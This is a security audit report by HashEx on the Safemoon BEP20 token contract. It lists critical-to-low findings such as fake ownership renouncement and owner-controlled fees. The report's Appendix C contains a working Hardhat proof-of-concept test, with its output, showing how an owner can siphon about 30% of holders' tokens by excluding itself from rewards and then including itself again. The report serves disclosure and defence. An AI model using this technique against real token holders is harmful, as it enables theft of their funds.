HashEx

Safemoon

smart contract audit report

Prepared for:

safemoon.net

Authors: HashEx audit team

May 2021

Contents

Disclaimer

This is a limited report on our findings based on our analysis, in accordance with good industry practice as at the date of this report, in relation to cybersecurity vulnerabilities and issues in the framework and algorithms based on smart contracts, the details of which are set out in this report. In order to get a full view of our analysis, it is crucial for you to read the full report. While we have done our best in conducting our analysis and producing this report, it is important to note that you should not rely on this report and cannot claim against us on the basis of what it says or doesn't say, or how we produced it, and it is important for you to conduct your own independent investigations before making any decisions. We go into more detail on this in the disclaimer below – please make sure to read it in full.

DISCLAIMER: By reading this report or any part of it, you agree to the terms of this disclaimer. If you do not agree to the terms, then please immediately cease reading this report, and delete and destroy any and all copies of this report downloaded and/or printed by you. This report is provided for information purposes only and on a non-reliance basis and does not constitute investment advice. No one shall have any right to rely on the report or its contents, and HashEx and its affiliates (including holding companies, shareholders, subsidiaries, employees, directors, officers, and other representatives) (HashEx) owe no duty of care towards you or any other person, nor does HashEx make any warranty or representation to any person on the accuracy or completeness of the report. The report is provided "as is", without any conditions, warranties, or other terms of any kind except as set out in this disclaimer, and HashEx hereby excludes all representations, warranties, conditions, and other terms (including, without limitation, the warranties implied by law of satisfactory quality, fitness for purpose and the use of reasonable care and skill) which, but for this clause, might have effect in relation to the report. Except and only to the extent that it is prohibited by law, HashEx hereby excludes all liability and responsibility, and neither you nor any other person shall have any claim against HashEx, for any amount or kind of loss or damage that may result to you or any other person (including without limitation, any direct, indirect, special, punitive, consequential or pure economic loss or damages, or any loss of income, profits, goodwill, data, contracts, use of money, or business interruption, and whether in delict, tort (including without limitation negligence), contract, breach of statutory duty, misrepresentation (whether innocent or negligent) or otherwise under any claim of any nature whatsoever in any jurisdiction) in any way arising from or connected with this report and the use, inability to use or the results of the use of this report, and any reliance on this report.

The analysis of the security is purely based on the smart contracts alone. No applications or operations were reviewed for security. No product code has been reviewed.

Introduction

HashEx was commissioned by an anonymous client to perform an audit of Safemoon smart contracts. The audit was conducted between May 08 and May 10, 2021.

The audited code was located in Safemoon's github repository after the `a2a1b92` commit. The same contract is deployed at `0x8076C74C5e3F5852037F31Ff0093Eeb8c8ADd8D3` in Binance Smart Chain (BSC). The very limited whitepaper was available on Safemoon website.

The purpose of this audit was to achieve the following:

- Identify potential security issues with smart contracts.
- Formally check the logic behind given smart contracts.

Information in this report should be used to understand the risk exposure of smart contracts, and as a guide to improving the security posture of smart contracts by remediating the issues that were identified.
We found out that Cheecoin token is based on Reflect.finance [1] custom token with an audit report available [2]. There's also an audit of the Safemoon.sol contract itself [3].

Contracts overview

`SafeMoon`

Implementation of ERC20 token standard with the custom functionality of auto-yield by burning tokens and distributing the fees on transfers.

`Ownable`

A modified version of OpenZeppelin's contract with 3 new functions.

Found issues

ID	Title	Severity	Response
01	Temporary ownership renounce	Critical	
02	No safeguards for fees and maxTx	Critical	
03	excludeFromReward() abuse	High	
04	excluded[] length problem	High	
05	ERC20 standard violation	Medium	
06	Locked ether	Medium	
07	addLiquidity() recipient	Medium	
08	Hardcoded addresses	Medium	
09	inSwapAndLiquify visibility	Low	
10	includeInReward() gas savings	Low	
11	numTokensSellToAddToLiquidity is constant	Low	
12	Incorrect error message	Low	
13	General recommendations	Low	

#01 Temporary ownership renounce — Critical

The Ownable contract which is inherited by the SafeMoon token contract is a modified version of OpenZeppelin's Ownable.sol. It has additional functionality to renounce (L474) ownership for a specified amount of time and then get the ownership back (L482) to the previous owner. Moreover, if the `lock` function was once called, already renounced ownership can be returned to the owner by calling the unlock function. This can mislead users who will check that owner of the contract is zero address and will think that the ownership is actually renounced. We identify this behavior as fraudulent and strongly recommend locking for the maximum possible amount of time immediately after.

#02 No safeguards for fees and maxTxAmount — Critical

SafeMoon contract contains external onlyOwner functions that set `_taxFee`, `_liquidityFee`, and `_maxTxAmount` to any value of uint256. This behavior is dangerous as at the time of the audit the contract owner is an EOA (externally owned account) and if it is compromised or the owner acts maliciously it can lead to devastating consequences for the token making it completely unusable. This can be mitigated by locking the ownership for the maximum possible amount of time.

#03 excludeFromReward() abuse — High

The owner of the token contract can redistribute part of the tokens from users to a specific account. For this owner can exclude an account from the reward and include it back later. This will redistribute part of the tokens from holders in profit of the included account. The abuse mechanism can be seen in Appendix C. In the provided attack test case the owner redistributes about 30% of other users' balance to the owner's balance. We suggest lock exclusion/inclusion methods by locking ownership for the maximum possible amount of time.

#04 excluded[] length problem — High

The mechanism of removing addresses from auto-yielding implies a loop over excluded addresses for every transfer operation or balance inquiry. This may lead to extreme gas costs up to the block gas limit and may be avoided only by the owner restricting the number of excluded addresses.
In an extreme situation with a large number of excluded addresses transaction gas may exceed maximum block gas size and all transfers will be effectively blocked. If the owner's account gets compromised the attacker can make the token completely unusable for all users. Moreover, `includeInReward()` function relies on the same `for()` loop which may lead to irreversible contract malfunction.

#05 ERC20 standard violation — Medium

Implementation of `transfer()` function (L1018) does not allow to input zero amount as it's demanded in ERC20 [4] and BEP20 [5] standards. This issue may break the interaction with smart contracts that rely on full ERC20 support.
Also, transfer functions of the reviewed contract don't throw error messages for the amounts bigger than the sender's balance (like "`ERC20: transfer amount exceeds allowance`" in OpenZeppelin's ERC20 implementation) which may confuse users.

#06 Locked ether — Medium

The payable `receive()` function in L919 makes it possible for the contract to receive ether/bnb. Moreover, `addLiquidityETH()` from UniswapV2Router returns any ETH/BNB leftovers back to the sender. There's no implemented mechanism for handling this contract's ETH/BNB balance.

#07 addLiquidity() recipient — Medium

`addLiquidity()` function in SafeMoon L1098 calls for `uniswapV2Router.addLiquidityETH()` function with the parameter of lp tokens recipient set to owner address. With time the owner address may accumulate a significant amount of LP tokens which may be dangerous for token economics if an owner acts maliciously or its account gets compromised. This issue can be fixed by changing the recipient address to the SafeMoon contract or by renouncing ownership which will effectively lock the generated LP tokens.

#08 Hardcoded addresses — Medium

The addresses of Uniswap router and pair are immutable. This may cause a partial malfunction in case of future upgrades of Uniswap's (PancakeSwap) services.

#09 inSwapAndLiquify visibility — Low

`inSwapAndLiquify` variable in L735 has no explicit visibility.

#10 includeInReward() gas savings — Low

`includeInReward()` function in L868 saves gas by reducing length of `_excluded[]`. It should also remove the according elements of `_isExcluded[]` and `_tOwned[]`.

#11 numTokensSellToAddToLiquidity is constant — Low

`numTokensSellToAddToLiquidity` variable is not changed anywhere in the contract and therefore should be declared constant in L739.

#12 Incorrect error message Low

Incorrect error message in L869: must be “Account is already included”.

#13 General recommendations Low

Code is ineffective in terms of computational costs. For example, `removeAllFee()` and `restoreAllFee()` functions write 6 variables to free a transfer from fees. While this is not a big deal in BSC, the code should be refactored before possible deployment to Ethereum mainnet.

The comment section in the beginning (L11-19) contains misleading values of the fees which do not correspond to the whitepaper.

Code contains useless condition L1028 and unused Address library.

Conclusion

The audited contract is a fork of Reflect.finance smart contract with some changes such as the ability to swap itself to WETH and to add liquidity to Uniswap.

Two critical and 3 high severity issues were found. We recommend permanent renouncing of the ownership via proxy contract or nearly eternal ownership lock with implemented `lock()` function.

At the time of the audit, the owner of the token contract is set to an EOA account (externally owned account), which implies high risks for token holders as if the owner account is compromised an attacker can break the token functionality completely (for example, by blocking any transfer).

Audit includes recommendations on the code improving and preventing potential attacks.

References

1. Reflect.finace github repo
2. Audit report for Reflect.finance
3. SafeMoon audit by CertiK
4. ERC-20 standard
5. BEP-20 standard

Appendix A. Issues' severity classification

We consider an issue critical if it may cause unlimited losses or breaks the workflow of the contract and could be easily triggered.

High severity issues may lead to limited losses or break interaction with users or other contracts under very specific conditions.

Medium severity issues do not cause the full loss of functionality but break the contract logic.

Low severity issues are typically nonoptimal code, unused variables, errors in messages. Usually, these issues do not need immediate reactions.

Appendix B. List of examined issue types

Business logic overview

Functionality checks

Following best practices

Access control and authorization

Reentrancy attacks

Front-run attacks

DoS with (unexpected) revert

DoS with block gas limit

Transaction-ordering dependence

ERC/BEP and other standards violation

Unchecked math

Implicit visibility levels

Excessive gas usage

Timestamp dependence

Forcibly sending ether to a contract

Weak sources of randomness

Shadowing state variables

Usage of deprecated code

Appendix C. Hardhat framework test for possible abuse of excludeContract()

```
const {expect} = require("chai");
const {formatUnits, parseEther } = ethers.utils;

describe("SafeMoon token", function () {
 it("should run exclude include attack", async function () {
  const [owner, alice, bob] = await ethers.getSigners()
  const PancakeFactory = await ethers.getContractFactory("PancakeFactory");
  const factory = await PancakeFactory.deploy(owner.address);
  const initialBalance = parseEther('1000');
  const WETH = await ethers.getContractFactory("WETH9");
  const weth = await WETH.deploy();
  await owner.sendTransaction({ to: weth.address, value: initialBalance})
  const PancakeRouter = await ethers.getContractFactory("PancakeRouter")
  const router = await PancakeRouter.deploy(factory.address, weth.address)
  const SafeMoon = await ethers.getContractFactory("SafeMoon");
  const token = await SafeMoon.deploy(router.address);
  const addLiquidityAmount = parseEther('1000');
  await token.approve(router.address, addLiquidityAmount)
  await weth.approve(router.address, addLiquidityAmount)
  await router.addLiquidity(token.address, weth.address, addLiquidityAmount,
addLiquidityAmount, 0, 0, owner.address, 1000000000000)
  const decimals = await token.decimals();
  const formatAmount = (amount) => formatUnits(amount, decimals)
  await token.includeInFee(owner.address);

  console.log('excluding owner from reward')
  await token.excludeFromReward(owner.address)

  let totalSupply = await token.totalSupply();
  await token.transfer(alice.address, totalSupply.div(2))
  console.log(`total supply: ${formatAmount(totalSupply)}`)

  let balance = await token.balanceOf(owner.address)
  console.log(`owner balance is: ${formatAmount(balance)}`)
```

```
    const txCount = 600
    console.log(`\nsending ${txCount} maxTxAmount transactions between users`);
    const maxTxAmount = await token._maxTxAmount();
    for(let i = 0; i < txCount; i++) {
     await token.connect(alice).transfer(bob.address, maxTxAmount)
     let bobBalance = await token.balanceOf(bob.address);
     await token.connect(bob).transfer(alice.address, bobBalance)
    }

    balance = await token.balanceOf(owner.address)
    console.log(`owner balance is: ${formatAmount(balance)}`)

    let aliceBalance = await token.balanceOf(alice.address)
    console.log(`alice balance is: ${formatAmount(aliceBalance)}`)

    console.log('\nincluding address back to reward')
    await token.includeInReward(owner.address)

    const newOwnerBalance = await token.balanceOf(owner.address)
    console.log(`owner balance is: ${formatAmount(newOwnerBalance)}`)

    let newAliceBalance = await token.balanceOf(alice.address)
    const aliceLoss = aliceBalance.sub(newAliceBalance)
    console.log(`alice balance is: ${formatAmount(newAliceBalance)}`)

    console.log(`alice loss is: ${aliceLoss.mul(100).div(aliceBalance)}% or
${formatAmount(aliceLoss)} tokens`)
    const ownerProfit = newOwnerBalance.sub(balance)
    console.log(`owner profit is: ${ownerProfit.mul(100).div(balance)}% or
${formatAmount(ownerProfit)} tokens`)
    })
  });
```

Hardhat framework test output

```
  SafeMoon token
excluding owner from reward
total supply: 1000000000000000.0
owner balance is: 499000000000000.0

sending 600 maxTxAmount transactions between users
owner balance is: 499000000000000.0
alice balance is: 68519118048148.439890103

including address back to reward
owner balance is: 649381209504129.190226489
alice balance is: 47952276039691.812946423
alice loss is: 30% or 20566842008456.62694368 tokens
owner profit is: 30% or 150381209504129.190226489 tokens
    ✓ should run exclude include attack (64868ms)
```